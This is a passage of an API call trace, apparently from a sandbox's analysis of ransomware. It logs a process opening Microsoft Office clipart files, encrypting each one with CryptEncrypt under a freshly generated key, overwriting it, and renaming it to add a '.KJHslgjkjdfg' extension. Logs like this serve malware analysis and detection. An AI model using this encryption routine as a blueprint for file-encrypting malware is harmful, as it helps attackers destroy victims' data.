lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.019] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.019] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.019] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.019] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.019] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.019] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.019] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.019] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x22a0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x22a0, lpOverlapped=0x0) returned 1 [0194.020] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x22a0, dwBufLen=0x22a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x22a0) returned 1 [0194.020] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.020] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x22a0, lpOverlapped=0x0) returned 1 [0194.020] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.020] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.021] SetEndOfFile (hFile=0x130) returned 1 [0194.022] GetProcessHeap () returned 0x990000 [0194.022] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.022] GetProcessHeap () returned 0x990000 [0194.022] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.022] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf.kjhslgjkjdfg")) returned 1 [0194.025] CloseHandle (hObject=0x130) returned 1 [0194.026] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107500.WMF", cAlternateFileName="")) returned 1 [0194.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.026] GetProcessHeap () returned 0x990000 [0194.026] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.026] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.026] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.026] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.028] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.028] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.028] GetProcessHeap () returned 0x990000 [0194.028] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.028] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.028] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.028] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.029] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.029] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.029] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.029] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.029] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.029] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.029] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.029] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.029] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1068, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1068, lpOverlapped=0x0) returned 1 [0194.030] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1070, dwBufLen=0x1070 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1070) returned 1 [0194.030] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.030] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1070, lpOverlapped=0x0) returned 1 [0194.030] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.030] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1144, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.030] SetEndOfFile (hFile=0x130) returned 1 [0194.033] GetProcessHeap () returned 0x990000 [0194.033] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.033] GetProcessHeap () returned 0x990000 [0194.033] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.033] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf.kjhslgjkjdfg")) returned 1 [0194.034] CloseHandle (hObject=0x130) returned 1 [0194.034] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a54, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107502.WMF", cAlternateFileName="")) returned 1 [0194.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.034] GetProcessHeap () returned 0x990000 [0194.034] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.035] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.035] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.035] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0194.036] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.036] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.036] GetProcessHeap () returned 0x990000 [0194.036] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.036] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.036] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.036] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.037] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.037] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.037] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.037] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.037] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.037] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.037] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.037] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.037] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2a54, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2a54, lpOverlapped=0x0) returned 1 [0194.038] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2a60, dwBufLen=0x2a60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2a60) returned 1 [0194.038] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.038] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2a60, lpOverlapped=0x0) returned 1 [0194.038] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.038] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.038] SetEndOfFile (hFile=0x130) returned 1 [0194.040] GetProcessHeap () returned 0x990000 [0194.040] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.040] GetProcessHeap () returned 0x990000 [0194.040] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.040] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf.kjhslgjkjdfg")) returned 1 [0194.041] CloseHandle (hObject=0x130) returned 1 [0194.041] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c8c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107512.WMF", cAlternateFileName="")) returned 1 [0194.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.042] GetProcessHeap () returned 0x990000 [0194.042] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.042] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.042] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.042] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.044] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.044] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.044] GetProcessHeap () returned 0x990000 [0194.044] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.044] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.044] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.044] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.044] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.044] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.044] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.045] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.045] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.045] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.045] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.045] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.045] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2c8c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2c8c, lpOverlapped=0x0) returned 1 [0194.046] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2c90, dwBufLen=0x2c90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2c90) returned 1 [0194.046] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.046] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2c90, lpOverlapped=0x0) returned 1 [0194.046] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.046] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2d64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.046] SetEndOfFile (hFile=0x130) returned 1 [0194.048] GetProcessHeap () returned 0x990000 [0194.048] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.048] GetProcessHeap () returned 0x990000 [0194.048] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.049] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf.kjhslgjkjdfg")) returned 1 [0194.049] CloseHandle (hObject=0x130) returned 1 [0194.050] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2fac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107514.WMF", cAlternateFileName="")) returned 1 [0194.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.051] GetProcessHeap () returned 0x990000 [0194.051] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.051] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.051] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.051] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.053] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.053] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.054] GetProcessHeap () returned 0x990000 [0194.054] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.054] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.054] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.054] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.054] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.054] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.054] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.054] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.054] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.054] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.054] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.054] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.054] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2fac, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 